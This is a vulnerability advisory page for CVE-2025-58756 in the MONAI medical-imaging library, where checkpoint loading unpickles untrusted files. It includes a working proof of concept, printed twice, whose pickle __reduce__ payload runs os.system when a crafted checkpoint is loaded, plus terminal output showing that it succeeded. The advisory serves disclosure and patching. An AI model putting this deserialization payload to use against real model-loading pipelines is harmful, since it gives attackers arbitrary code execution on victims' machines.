GHSA-6VM5-6JV9-RJPJ
Vulnerability from github – Published: 2025-09-09 21:19 – Updated: 2026-06-06 00:33Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch".
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
Impact
Leading to arbitrary command execution
Fix suggestion
Use a safe method to load, or force weights_only=True
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58756"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T21:19:59Z",
"nvd_published_at": "2025-09-09T00:15:32Z",
"severity": "HIGH"
},
"details": "### Summary\nIn ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.\n\nThis is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.\n\nLoading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.\n\nThe following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.\n\n```\n\nimport os \nimport tempfile \nimport json \nimport torch \nfrom pathlib import Path \n \nclass MaliciousPayload: \n def __reduce__(self): \n return (os.system, (\u0027touch /tmp/hacker2.txt\u0027,)) \n \ndef test_checkpoint_loader_attack(): \n\n \n\n temp_dir = Path(tempfile.mkdtemp()) \n checkpoint_file = temp_dir / \"malicious_checkpoint.pt\" \n \n\n malicious_checkpoint = { \n \u0027model_state_dict\u0027: MaliciousPayload(), \n \u0027optimizer_state_dict\u0027: {}, \n \u0027epoch\u0027: 100 \n } \n \n\n torch.save(malicious_checkpoint, checkpoint_file) \n \n \n from monai.handlers import CheckpointLoader \n import torch.nn as nn \n \n \n model = nn.Linear(10, 1) \n \n loader = CheckpointLoader( \n load_path=str(checkpoint_file), \n load_dict={\"model\": model} \n ) \n \n class MockEngine: \n def __init__(self): \n self.state = type(\u0027State\u0027, (), {})() \n self.state.max_epochs = None \n self.state.epoch = 0 \n \n engine = MockEngine() \n loader(engine) \n \n \n proof_file = \"/tmp/hacker2.txt\" \n if os.path.exists(proof_file): \n print(\"Succes\") \n #os.remove(proof_file) \n return True \n else: \n print(\"False\") \n return False \n \nif __name__ == \"__main__\": \n success = test_checkpoint_loader_attack() \n\n```\nBecause my test environment is missing some content, an error will be reported during operation, but the operation is still executed.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py \nTraceback (most recent call last):\n File \"/root/autodl-tmp/mmm/p2.py\", line 61, in \u003cmodule\u003e\n success = test_checkpoint_loader_attack() \n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/autodl-tmp/mmm/p2.py\", line 48, in test_checkpoint_loader_attack\n loader(engine) \n ^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py\", line 146, in __call__\n Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 624, in load_objects\n _tree_apply2(_load_object, to_load, checkpoint_obj)\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 209, in _tree_apply2\n _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 216, in _tree_apply2\n return func(x, y)\n ^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 613, in _load_object\n obj.load_state_dict(chkpt_obj, **kwargs)\n File \"/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py\", line 2581, in load_state_dict\n raise RuntimeError(\nRuntimeError: Error(s) in loading state_dict for Linear:\n Missing key(s) in state_dict: \"weight\", \"bias\". \n Unexpected key(s) in state_dict: \"model_state_dict\", \"optimizer_state_dict\", \"epoch\". \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa\n```\n\n\n### Impact\nLeading to arbitrary command execution\n### Fix suggestion\nUse a safe method to load, or force weights_only=True",
"id": "GHSA-6vm5-6jv9-rjpj",
"modified": "2026-06-06T00:33:01Z",
"published": "2025-09-09T21:19:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58756"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/pull/8566"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-141.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MONAI: Unsafe torch usage may lead to arbitrary code execution"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.